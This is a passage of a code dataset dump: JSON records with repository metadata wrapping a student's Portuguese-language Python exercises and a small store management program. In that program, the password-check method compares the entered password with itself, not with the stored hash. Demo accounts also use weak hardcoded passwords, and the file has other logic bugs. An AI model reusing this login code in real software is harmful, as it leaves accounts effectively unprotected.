3 ==0:\n s += i\nprint(s)\n" }, { "alpha_fraction": 0.5623959898948669, "alphanum_fraction": 0.5923460721969604, "avg_line_length": 21.259260177612305, "blob_id": "d11b86b2c774af69a344e692e92eb688b5ddcb08", "content_id": "0f0eb0738ea8005d868e8e27c2edf7b11097b5c3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 601, "license_type": "permissive", "max_line_length": 54, "num_lines": 27, "path": "/PythonPOO/Pessoa.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from random import randint\nclass Pessoa:\n ano_autal = 2021\n\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n\n def get_ano_nascimento(self):\n print(self.ano_autal - self.idade)\n\n\n @classmethod\n def por_ano_nascimento(cls, nome, ano_nascimento):\n idade = cls.ano_autal - ano_nascimento\n return cls(nome, idade)\n\n @staticmethod\n def gera_id():\n rand = randint(10000, 19999)\n return rand\n\nif __name__ == '__main__':\n\n p1 = Pessoa('Joseph', 23)\n #print(p1.get_ano_nascimento())\n print(Pessoa.gera_id())\n" }, { "alpha_fraction": 0.5206896662712097, "alphanum_fraction": 0.5586206912994385, "avg_line_length": 23.16666603088379, "blob_id": "5b192e4a8e099031e557ea1206beb2dc9cab8b1c", "content_id": "746c5088be50d138a7931fb8eb60e13e1f721195", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 291, "license_type": "permissive", "max_line_length": 61, "num_lines": 12, "path": "/Curso-Em-Video/M2/ex55.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nc = 0\nmaior = 0\nmenor = 99999\nfor i in range(1,6):\n peso = float(input(f'Digite o peso da {c}º Pessoa: '))\n c += 1\n if peso > maior:\n maior = peso\n if peso < menor:\n menor =peso\nprint(f'O maior peso foi {maior} e o menor peso foi:{menor}')\n" }, { "alpha_fraction": 0.4390243887901306, "alphanum_fraction": 0.4918699264526367, "avg_line_length": 21.363636016845703, "blob_id": "da2158afc54542293dc403b58b08feb4420bc9e1", "content_id": "093fbd4b634a03ba522de846c3cf26229b3df38c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 249, "license_type": "permissive", "max_line_length": 62, "num_lines": 11, "path": "/Curso-Em-Video/M2/ex66.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nc = 0\ns = 0\nwhile True:\n n = int(input('Digite um valor (999 para parar): '))\n if n != 999:\n s += n\n c += 1\n if n == 999:\n break\nprint(f'Você digitou {c} números a soma de todos eles é: {s}')\n" }, { "alpha_fraction": 0.43728354573249817, "alphanum_fraction": 0.4524478018283844, "avg_line_length": 33.85481262207031, "blob_id": "edd6cbb176a39cb7fd18d16f836754135515b044", "content_id": "1217308d2256b11553f23083f114f8a78586a958", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21413, "license_type": "permissive", "max_line_length": 190, "num_lines": 613, "path": "/Projetos_3S/Loja.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from passlib.hash import pbkdf2_sha256 as cryp #importando o necessario para criptografia char256\n\"\"\"\nSimas precisa de um sistema de controle de caixa para a sua loja de eletronicos\n\n\"\"\"\n\n#-----------------------------------------Pessoa---------------------------------------------------------------------------------------------------\nclass Pessoa:\n def __init__(self, nome, sobrenome, email,cpf):\n self.__nome = nome\n self.__sobrenome = sobrenome\n self.__email = email\n self.__cpf = cpf\n\n @property\n def nome(self):\n return self.__nome\n\n @nome.setter\n def nome(self, nome):\n self.__nome = nome\n\n\n @property\n def sobrenome(self):\n return self.__sobrenome\n\n @sobrenome.setter\n def sobrenome(self, sobrenome):\n self.__sobrenome = sobrenome\n\n @property\n def email(self):\n return self.__email\n\n @email.setter\n def email(self, email):\n self.__email = email\n\n @property\n def cpf(self):\n return self.__cpf\n\n @cpf.setter\n def cpf(self, cpf):\n self.__cpf = cpf\n\n def nome_comleto(self):\n return f'{self.__nome} {self.__sobrenome}'\n\n#---------------------------------------------Usuario---------------------------------------------------------------------------------------------------\nclass Usuario(Pessoa):\n contador = 0\n @classmethod # e necessario para criar um método de classe\n def conta_usuarios(cls):# o parametor é a propria classe\n print(f'{cls.contador} usuario(s) no sistema')\n\n\n def __init__(self, nome, sobrenome, email, cpf, senha, venda):\n super().__init__(nome,sobrenome, email, cpf)\n self.__venda = venda\n self.__id = Usuario.contador+1\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\n Usuario.contador = self.__id\n print(f'Usuario criado: {self.__gera_usuario()}')\n\n @property\n def id(self):\n return self.__id\n\n @property\n def senha(self):\n return self.__senha\n\n @senha.setter\n def senha(self, senha):\n self.__senha = senha\n\n @property\n def venda(self):\n return self.__venda\n\n @venda.setter\n def venda(self, venda):\n self.__venda = venda\n\n #verifica se a senha digitada é igual a senha registrada\n def checa_senha(self,senha):\n if cryp.verify(senha, senha):\n return True\n return False\n\n\n def __gera_usuario(self):\n return self.email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\n\n\n def mostra_usuario(self,):\n print(f'\\n {self.id}'\n f'\\n Nome:{self.nome}'\n f'\\n Sobrenome:{self.sobrenome}'\n f'\\n CPF:{self.cpf}'\n f'\\n Email:{self.email}')\n\n#--------------------------------------------Funcionario---------------------------------------------------------------------------------------------------\nclass Funcionario(Usuario):\n def __init__(self, nome, sobrenome, email, cpf, senha, funcao, venda):\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\n self.__funcao = funcao\n\n @property\n def funcao(self):\n return self.__funcao\n\n def mostra_funcao(self):\n print(f'O Funcionario{Usuario.nome} realiza a função de {self.funcao}')\n\n#---------------------------------------------Gerente---------------------------------------------------------------------------------------------------\nclass Gerente(Usuario):\n def __init__(self, nome, sobrenome, email, cpf, senha, setor, venda):\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\n self.__setor = setor\n\n @property\n def setor(self):\n return self.__setor\n\n @setor.setter\n def setor(self, setor):\n self.__setor = setor\n\n def mostra_setor(self):\n print(f'O gerente:{Usuario.nome} e responsavel pelo setor:{self.setor}')\n\n\n def delUser(self):\n pass\n\n#---------------------------------------------Cliente---------------------------------------------------------------------------------------------------\nclass Cliente(Pessoa):\n def __init__(self, nome, sobrenome, email, cpf,compra):\n super().__init__(nome, sobrenome ,email, cpf)\n self.__compra = compra\n\n @property\n def compra(self):\n return self.__compra\n\n def mostra_cliente(self):\n print(f'\\n Nome:{self.nome}'\n f'\\n Sobrenome:{self.sobrenome}'\n f'\\n CPF:{self.cpf}'\n f'\\n Email:{self.email}'\n f'\\n Compra:{self.compra}')\n\n#-----------------------------------------------Venda---------------------------------------------------------------------------------------------------\nclass Venda:\n def __init__(self, data, hora, cliente, vendedor):\n self.__data = data\n self.__hora = hora\n self.__cliente = cliente\n self.__vendedor = vendedor\n\n @property\n def data(self):\n return self.__data\n\n @data.setter\n def data(self, data):\n self.__data = data\n\n @property\n def hora(self):\n return self.__hora\n\n @hora.setter\n def hora(self, hora):\n self.__hora = hora\n\n @property\n def cliente(self):\n return self.__cliente\n\n @cliente.setter\n def cliente(self, cliente):\n self.__cliente = cliente\n\n @property\n def vendedor(self):\n return self.__vendedor\n\n @vendedor.setter\n def vendedor(self, vendedor):\n self.__vendedor = vendedor\n\n def carrinho_compras(self,estoque):\n carrinho = []\n produto = []\n c_preco = []#contador de precos\n s_preco = 0\n while produto != 'sair':\n print(\"Adicione um produto no carrinho ou digite 'sair para sair:'\")\n produto = input()\n if produto != 'sair':\n if produto == 'p1':\n carrinho.append(p1.__dict__)\n c_preco.append(p1.__dict__['_Produto__preco'])\n if produto == 'p2':\n carrinho.append(p2.__dict__)\n c_preco.append(p2.__dict__['_Produto__preco'])\n if produto == 'p3':\n carrinho.append(p3.__dict__)\n c_preco.append(p3.__dict__['_Produto__preco'])\n if produto == 'p4':\n carrinho.append(p4.__dict__)\n c_preco.append(p4.__dict__['_Produto__preco'])\n if produto == 'p5':\n carrinho.append(p5.__dict__)\n c_preco.append(p6.__dict__['_Produto__preco'])\n if produto == 'p6':\n carrinho.append(p6.__dict__)\n c_preco.append(p6.__dict__['_Produto__preco'])\n\n print(f'----------------Eletronica Simas Turbo--------------------'\n f'\\nData:{self.data} Hora:{self.hora}'\n f'\\n--------------------------------------------------------'\n f'\\nCliente:{self.cliente}'\n f'\\n--------------------------------------------------------')\n for produto in carrinho:\n print( f'\\n Produto: {len(carrinho)}:{produto.values()}')\n for p in c_preco:\n s_preco += p\n print(f'\\n--------------------------------------------------------'\n f'\\nTotal:{s_preco}'\n f'\\n--------------------------------------------------------')\n\n#----------------------------------------------Produto---------------------------------------------------------------------------------------------------\nclass Produto:\n contador = 0\n def __init__(self, nome, codigo, preco, descricao, pcusto, imposto):\n self.__nome = nome\n self.__codigo = codigo\n self.__preco = preco\n self.__descricao = descricao\n self.__pcusto = pcusto\n self.__imposto = imposto\n\n @property\n def nome(self):\n return self.__nome\n\n @nome.setter\n def nome(self, nome):\n self.__nome = nome\n\n @property\n def codigo(self):\n return self.__codigo\n\n @codigo.setter\n def codigo(self, codigo):\n self.__codigo = codigo\n\n @property\n def preco(self):\n return self.__preco\n\n @preco.setter\n def preco(self, preco):\n self.__preco = preco\n\n @property\n def descricao(self):\n return self.__descricao\n\n @descricao.setter\n def descricao(self, descricao):\n self.__descricao = descricao\n\n @property\n def pcusto(self):\n return self.__pcusto\n\n @pcusto.setter\n def pcusto(self, pcusto):\n self.__pcusto = pcusto\n\n @property\n def imposto(self):\n return self.__imposto\n\n @imposto.setter\n def imposto(self, imposto):\n self.__imposto = imposto\n\n def lucro(self,imposto, preco, pcusto):\n pimposto = pcusto * imposto/100\n lucro = (pimposto + pcusto) - preco\n return lucro\n\n def desconto(self, preco):\n vdesc = int(input('Digite o valor do desconto'))\n desc = (preco * vdesc/100) - preco\n return f'O deconto foi de {desc}'\n\n\n\n\n def mostra_produto(self):\n print(f'\\n Nome:{self.nome}'\n f'\\n Código:{self.codigo}'\n f'\\n Preço:{self.preco}'\n f'\\n Descrição:{self.descricao}'\n f'\\n Preço de custo:{self.pcusto}'\n f'\\n Porcentagem de impostos:{self.imposto}%')\n#------------------------------------------------CRUD----------------------------------------------------------------------\n\n\ndef menu():\n print(f'O deseja fazer?'\n f'\\n 1 - Cadastrar produto'\n f'\\n 2 - Cadastrar usuario'\n f'\\n 3 - Cadastrar cliente'\n f'\\n 4 - Alterar produto'\n f'\\n 5 - Alterar usuario'\n f'\\n 6 - Alterar cliente'\n f'\\n 7 - visualizar produto'\n f'\\n 8 - visualizar usuario'\n f'\\n 9 - visualizar cliente'\n f'\\n 10 - Deleta produto'\n f'\\n 11 - Deleta usuario'\n f'\\n 12 - Deleta cliente')\n opcao = input('Digite o número da operção')\n return opcao\n\ndef cadastra_produto():\n nome = input('Nome do produto: ')\n preco = int(input('Valor do produto: '))\n codigo = int(input('Código de barras: '))\n descricao = input('Descrição do produto: ')\n pcusto = int(input('valor de fabrica: '))\n imposto = int(input('Porcentagem de impostos: '))\n\n p = Produto(nome, preco, codigo, descricao, pcusto, imposto)\n print(f'O produto {p.nome} foi cadastrado com sucesso!')\n print(p.__dict__)\n return p\n\ndef altera_produto(c):\n print('O que deseja alterar?'\n '\\n 1 - Atualizar nome'\n '\\n 2 - Atualizar preço'\n '\\n 3 - Atualizar codigo de barras'\n '\\n 4 - Atualizar descrição'\n '\\n 4 - Atualizar valor de fabrica'\n '\\n 4 - Atualizar impostos')\n op = input('Digite o número da operação')\n if op == '1':\n nnome = (input('Digite o novo nome'))\n c.nome = nnome\n if op == '2':\n ncodigo = (input('Digite o preço'))\n c.codigo = ncodigo\n if op == '3':\n npreco = (input('Digite o codigo de barras'))\n c.preco = npreco\n if op == '4':\n ndescricao = (input('Digite a nova descrição'))\n c.descricao = ndescricao\n if op == '5':\n npcusto = (input('Digite o novo preço de fabrica'))\n c.pcusto = npcusto\n if op == '6':\n nimposto = (input('Digite a nova porcentagem de impostos'))\n c.imposto = nimposto\n\ndef cadastra_usuario():\n su = input('\\n 1 - Gerente'\n '\\n 2 - Funcionario')\n if su =='1':\n nome = input('Informe o nome: ')\n sobrnome =input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n senha = input('Informe a senha: ')\n confirma_senha = input('Confirme a senha: ')\n setor = input('setor')\n venda = 0\n\n if senha == confirma_senha:\n user = Gerente(nome,sobrnome,email, cpf, senha, setor, venda)\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\n print(user.__dict__)\n return user\n else:\n print('Senha não confere...')\n exit(42)\n elif su =='2':\n\n if su == '1':\n nome = input('Informe o nome: ')\n sobrnome = input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n senha = input('Informe a senha: ')\n confirma_senha = input('Confirme a senha: ')\n cargo = input('cargo')\n venda = 0\n\n if senha == confirma_senha:\n user = Gerente(nome, sobrnome, email, cpf, senha, cargo, venda)\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\n print(user.__dict__)\n return user\n else:\n print('Senha não confere...')\n exit(42)\n\n else:\n print('opção invalida!')\n\ndef realiza_venda():\n data = input('digite a data: ')\n hora = int(input('horario: '))\n cliente = input('cliente: ')\n vendedor = int(input('vendedor: '))\n\n venda = Venda(data,hora,cliente,vendedor)\n print(f'Venda iniciada!')\n print(venda.__dict__)\n\ndef cadastra_cliente():\n nome = input('Informe o nome: ')\n sobrnome = input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n compra = 0\n c = Cliente(nome,sobrnome, email, cpf, compra)\n print(f'Usuario {c.nome_comleto()} Criado com sucesso!')\n print(c.__dict__)\n\ndef altera_cliente(c):\n print('O que deseja alterar?'\n '\\n 1 - Atualizar nome'\n '\\n 2 - Atualizar sobrenome'\n '\\n 3 - Atualizar email'\n '\\n 4 - Atualizar cpf')\n op = input('Digite o número da operação')\n if op == '1':\n nnome = (input('Digite o novo nome'))\n c.nome = nnome\n if op == '2':\n nsobrenome = (input('Digite o novo nome'))\n c.sobrenome = nsobrenome\n if op == '3':\n nemail = (input('Digite o novo nome'))\n c.email = nemail\n if op == '4':\n ncpf = (input('Digite o novo nome'))\n c.cpf = ncpf\n\ndef visualiza_usuario(user):\n Usuario.mostra_usuario(user)\n\ndef visualiza_produto(produto):\n Produto.mostra_produto(produto)\n\ndef visualiza_cliente(user):\n Cliente.mostra_cliente(user)\n\ndef delete_usuario(func):\n f = input('Qual qual Funcionario será deletado?')\n if f in func:\n func.pop(f)\n print(f'Funcionario deletado!')\n\ndef delete_cliente(c_cadastrados):\n c = input('Qual qual cliente será deletado?')\n if c in c_cadastrados:\n c_cadastrados.pop(c)\n print(f'Produto deletado!')\n\ndef delete_produto(estoque):\n item = input('Qual qual produto será deletado?')\n if item in estoque:\n estoque.pop(item)\n print(f'Produto deletado!')\n\n\nif __name__ == '__main__':\n#----------------------------------------------Produtos-------------------------------------------------------\n p1 = Produto('Mousepad', 7891099, 10.99, 'Mouse pad com apoio para a mão', 2.49, 1)\n p2 = Produto('Teclado', 78929999, 299.99, 'Teclado mecanico ', 2.49, 2)\n p3 = Produto('Mouse', 7898999, 89.99, 'Mouse optico sem fio', 2.49, 3)\n p4 = Produto('Monitor', 789499.99, 499.99, 'Monitor asus 1400X900', 2.49, 1)\n p5 = Produto('Gabinete', 78919999, 199.99, 'gabinete grande', 2.49, 1)\n p6 = Produto('Microfone', 7895999, 59.99, 'Microfone de mesa', 2.49, 2)\n#---------------------------------------------Usuarios---------------------------------------------------------\n g1 = Gerente('Italo','Vinicius','[email protected]','12345678945','123456','Vendedor',0)\n f1 = Funcionario('João','Batista','[email protected]','65478932145','789456',1,0)\n#---------------------------------------------Clientes----------------------------------------------------------\n c1 = Cliente('Juliana','Pereira','[email protected]','45696325814',0)\n#----------------------------------------------Vendas----------------------------------------------------------------\n v1 = Venda('20/05/2020','13:50',c1.__dict__['_Pessoa__nome'],f1)\n#--------------------------------------------------------------------------------------------------------\n estoque = [p1,p2,p3,p4,p5,p6]\n func = [f1,g1]\n c_cadastrados =[c1]\n#-------------------------------------------------------Menu--------------------------------------------------------\n while True:\n r = menu()\n if r =='1':\n try:\n estoque.append(cadastra_produto())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n if r =='2':\n try:\n func.append(cadastra_usuario())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n elif r == '3':\n try:\n c_cadastrados.append(cadastra_cliente())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n elif r == '4':\n opp = input('Qual produto deseja alterar?')\n if opp in estoque:\n altera_produto(opp)\n else:\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\n if opp == 'S':\n cadastra_produto()\n#------------------------------------------------------------------------------------------------------\n elif r == '5':\n opau = input('Qual usuario deseja alterar?')\n if opau in func:\n print('Erro 400')\n else:\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\n if opu == 'S':\n cadastra_usuario()\n#------------------------------------------------------------------------------------------------------\n elif r == '6':\n opac = input('Qual cliente deseja alterar?')\n if opac in estoque:\n altera_cliente(opac)\n else:\n opc =input('cliente não cadastrado, deseja cadastra-lo?').upper()\n if opc == 'S':\n cadastra_cliente()\n#------------------------------------------------------------------------------------------------------\n elif r == '7':\n opvp1 = input('\\n [1]-Mostrar produto especifico'\n '\\n [2]-Mostrar Todos os produtos')\n if opvp1 == '1':\n opvp2 = input('Qual produto deseja visualizar?')\n if opvp2 in estoque:\n altera_cliente(opvp2)\n else:\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\n if opp == 'S':\n cadastra_produto()\n if opvp1 == '2':\n for p in estoque:\n print(p.__dict__)\n#------------------------------------------------------------------------------------------------------\n elif r == '8':\n opvp1 = input('\\n [1]-Mostrar usuario especifico'\n '\\n [2]-Mostrar Todos os usuarios')\n if opvp1 == '1':\n opvp2 = input('Qual usuario deseja visualizar?')\n if opvp2 in estoque:\n visualiza_usuario(opvp2)\n else:\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\n if opu == 'S':\n cadastra_usuario()\n\n if opvp1 == '2':\n for u in func:\n print(u.__dict__)\n#------------------------------------------------------------------------------------------------------\n elif r == '9':\n opvc1 = input('\\n [1]-Mostrar cliente especifico'\n '\\n [2]-Mostrar Todos os cliente')\n if opvc1 == '1':\n opvc2 = input('Qual cliente deseja visualizar?')\n if opvc2 in c_cadastrados:\n visualiza_cliente(opvc2)\n else:\n opc = input('cliente não cadastrado, deseja cadastra-lo?').upper()\n if opc == 'S':\n cadastra_cliente()\n if opvc1 == '2':\n for c in c_cadastrados:\n print(c.__dict__)\n#--------------------------------------------------------------------------------------------------------------------\n elif r == '10':\n delete_produto(estoque)\n#-------------------------------------------------------------------------------------------------------------------------\n elif r == '11':\n delete_usuario(func)\n#------------------------------------------------------------------------------------------------------------------\n elif r == '12':\n delete_cliente(c_cadastrados)\n#------------------------------------------------------------------------------------------------------------------------------\n elif r =='sair':\n break\n" }, { "alpha_fraction": 0.5661538243293762, "alphanum_fraction": 0.6246153712272644, "avg_line_length": 34.88888931274414, "blob_id": "2323a600eb65cb38d61b698de4c614087a89e54c", "content_id": "f44e0693b2e7b548c8e449a24d65c339298cb480", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 326, "license_type": "permissive", "max_line_length": 50, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex35.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nr1 = float(input('Digite o valor da reta 01: '))\nr2 = float(input('Digite o valor da reta 02: '))\nr3 = float(input('Digite o valor da reta 03:'))\n\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\n print('Esse valores geram um triagunlo ')\nelse:\n print('Esse valores não geram um triagunlo')\n\n\n" }, { "alpha_fraction": 0.654321014881134, "alphanum_fraction": 0.654321014881134, "avg_line_length": 19.5, "blob_id": "c8ecc32b64e449fa836aa9a4bee59e79cbfe0a80", "content_id": "9b9a878ccddaf7dc93f7c79ab5cb5ea4fa6db04a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 81, "license_type": "permissive", "max_line_length": 29, "num_lines": 4, "path": "/Paradigmas_Program/cliente.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from datetime import datetime\nclass Cliente:\n def __init__(self):\n pass" }, { "alpha_fraction": 0.5099337697029114, "alphanum_fraction": 0.5298013091087341, "avg_line_length": 24, "blob_id": "b97c84258eda944adda5cd91fe99d9abe4ff2799", "content_id": "ab970abbd20d4ccddb56fe922e5a80d766614eff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "permissive", "max_line_length": 36, "num_lines": 6, "path": "/Curso-Em-Video/M1/ex30.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input('Digite um número: '))\nif n % 2 == 0:\n print(f'O número {n} é par')\nelse:\n print(f'O número {n} é impar')\n\n" }, { "alpha_fraction": 0.7527173757553101, "alphanum_fraction": 0.75951087474823, "avg_line_length": 48.13333511352539, "blob_id": "137e190f337fe1d92cd3c4a40c71e90875b45a7d", "content_id": "8756053d7df55dfa3d2ed5baae788887edde0a13", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 758, "license_type": "permissive", "max_line_length": 112, "num_lines": 15, "path": "/Curso-Em-Video/M3/funcoes2.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nhelp() -> entrar no console de adjuda interativa do python, depois é so digitar em que queremos ajuda\nou então passar como parametro o que queremos pesquisar\n\nprint(x.__doc__) -> irá nos fornecer a documentação da função X\n\nDocstrings são a documentão de uma função, elas devem ser criadas abaixo da função criada usando ''' doc '''\n\"\"\"\n# Parametros opcionais:\ndef somar(a=0,b=0,c=0):#quando queremos que um parametro seja opcional colo\n s = a+b+c # lembre-se que variaveis criads dentro da função só funcionam na função chamadas variaveis locais\n return s #return é útil quando temos queremos apenas o valor resultante\n\nsomar(3,2)\n# Se quisermos usar uma variavel global em uma função nos colocamos o parametro \"global\" antes" }, { "alpha_fraction": 0.5874999761581421, "alphanum_fraction": 0.637499988079071, "avg_line_length": 39, "blob_id": "a8e8bf56d7e0a2cdeb3672748cb55f2657ecea1f", "content_id": "234c3429987e72d4f51deda7d7b1bc6cd52e0139", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 162, "license_type": "permissive", "max_line_length": 55, "num_lines": 4, "path": "/Curso-Em-Video/M1/ex13.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nsal = float(input('Digite o salário do funcionario: '))\nnsal = sal +(sal*(15/100))\nprint(f'O novo salario com 15% de aumento é {nsal}')\n" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.7121211886405945, "avg_line_length": 21, "blob_id": "ed1b4ceb6794666e21539ee3616aca98af684c63", "content_id": "49f55ef27cb557214f4521bea836cb8924837624", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 132, "license_type": "permissive", "max_line_length": 35, "num_lines": 6, "path": "/Curso-Em-Video/M1/ex21.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport pygame\npygame.init\npygame.mixer.music.load('ex21.mp3')\npygame.mixer.music.play()\npygame.event.wait()\n" }, { "alpha_fraction": 0.41160520911216736, "alphanum_fraction": 0.6339479684829712, "avg_line_length": 44, "blob_id": "dd3c226159602f3ce8fbb123d12f8c9e60a5804b", "content_id": "9ed7fd0d4446e7e82421cd683be7a57ee64074c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1844, "license_type": "permissive", "max_line_length": 71, "num_lines": 41, "path": "/Prova/main.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from Prova.Funcoes import crie_matriz,escrever_memoria,imprimir_memoria\nmat_memoria = []\n\n\nif __name__ == '__main__':\n letra = input(\"Digite uma letra 'A','B' ou 'C'\").upper()\n if letra == 'A':\n matriz = crie_matriz (8,8,\".\")\n escrever_memoria('00000001', '00011000',matriz)\n escrever_memoria('00000010', '00100100',matriz)\n escrever_memoria('00000011', '01000010',matriz)\n escrever_memoria('00000100', '01111110',matriz)\n escrever_memoria('00000101', '01000010',matriz)\n escrever_memoria('00000110', '01000010',matriz)\n escrever_memoria('00000111', '01000010',matriz)\n escrever_memoria('00001000', '00000000',matriz)\n\n imprimir_memoria(matriz)\n elif letra == 'B':\n matriz2 = crie_matriz(8, 8, \".\")\n escrever_memoria('00000001', '00000000', matriz2)\n escrever_memoria('00000010', '01111110', matriz2)\n escrever_memoria('00000011', '01000001', matriz2)\n escrever_memoria('00000100', '01111110', matriz2)\n escrever_memoria('00000101', '01000010', matriz2)\n escrever_memoria('00000110', '01000001', matriz2)\n escrever_memoria('00000111', '01111110', matriz2)\n escrever_memoria('00001000', '00000000', matriz2)\n\n imprimir_memoria(matriz2)\n elif letra == 'C':\n matriz3 = crie_matriz(8, 8, \".\")\n escrever_memoria('00000001', '00000111',matriz3)\n escrever_memoria('00000010', '00001000', matriz3)\n escrever_memoria('00000011', '00100000', matriz3)\n escrever_memoria('00000100', '01000000', matriz3)\n escrever_memoria('00000101', '01000000', matriz3)\n escrever_memoria('00000110', '00100000', matriz3)\n escrever_memoria('00000111', '00010000', matriz3)\n escrever_memoria('00001000', '00000111', matriz3)\n imprimir_memoria(matriz3)" }, { "alpha_fraction": 0.4318840503692627, "alphanum_fraction": 0.5130434632301331, "avg_line_length": 21.29032325744629, "blob_id": "80ae8b527b3a1ba79414f209d85c33852646a694", "content_id": "bf7d847d24bcedc355a96673ae46cc126d1a2ba4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 693, "license_type": "permissive", "max_line_length": 57, "num_lines": 31, "path": "/Curso-Em-Video/M3/ex106.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "c = ('\\033[m', # 0 sem cores\n '\\033[0;30;41m', # vermelho\n '\\033[0;30m;42', # verde\n '\\033[0;30m;43', # amarelo\n '\\033[0;30m;44', # azul\n '\\033[0;30m;45', # roxo\n '\\033[7;30m;' # branco\n );\ndef ajuda(com):\n titulo(f'Acessando o manual do comando \\'{com}\\'', 4)\n help(com)\n\ndef titulo(msg, cor=0):\n tam = len(msg) + 4\n print(c[cor], end='')\n print('~' * tam)\n print(f' {msg}')\n print('~' * tam)\n print(c[0], end='')\n\n\n\ncomando = ''\nwhile True:\n titulo('SISTEMA DE AJUDA PyHELP', 2)\n comando = str(input('Função da bblioteca >'))\n if comando.upper() == 'FIM':\n break\n else:\n ajuda(comando)\ntitulo('ATÉ LOGO!',1)" }, { "alpha_fraction": 0.6237288117408752, "alphanum_fraction": 0.6508474349975586, "avg_line_length": 27.14285659790039, "blob_id": "e44a98be2c7e27c2d4bf2bd66a6e46bd51c6f839", "content_id": "c76356cee12cd31a334ad64204a026dc92258a71", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 590, "license_type": "permissive", "max_line_length": 50, "num_lines": 21, "path": "/Curso-Em-Video/M3/mod109.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def aumentar(preco =0, taxa=0, formato=False):\n res = preco + (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef diminuir(preco = 0 , taxa=0, formato=False):\n res = preco - (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef dobro(preco =0, formato=False):\n res = preco * 2\n return res if formato is False else moeda(res)\n\n\ndef metade(preco =0, formato=False):\n res = preco/ 2\n return res if formato is False else moeda(res)\n\ndef moeda(preco =0, moeda ='R$', format=False):\n return f'{moeda}{preco:.2f}'.replace('.',',')" }, { "alpha_fraction": 0.5982906222343445, "alphanum_fraction": 0.6068376302719116, "avg_line_length": 38, "blob_id": "e3a892b3efcaa9ad761bdfa45d9645c2f7fb1157", "content_id": "9f8b4a3e4514de77d6444d0ca8816725dfe0a00f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "permissive", "max_line_length": 52, "num_lines": 3, "path": "/Curso-Em-Video/M1/bemvindo.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nnome =input(str(\"Qual é o seu nome? \"))\nprint(f'Olá, {nome} seja bem vindo(a)'.format(nome))\n" }, { "alpha_fraction": 0.6262626051902771, "alphanum_fraction": 0.6262626051902771, "avg_line_length": 28.117647171020508, "blob_id": "abeeee0847e86e4d8be4f3450ab6a508cb1e6c2e", "content_id": "75b205c3ee999df8a070aef8041968b1058a059a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 497, "license_type": "permissive", "max_line_length": 54, "num_lines": 17, "path": "/Paradigmas_Program/carrinho_compra.py", "repo_name": "Italo-Neves/Python", 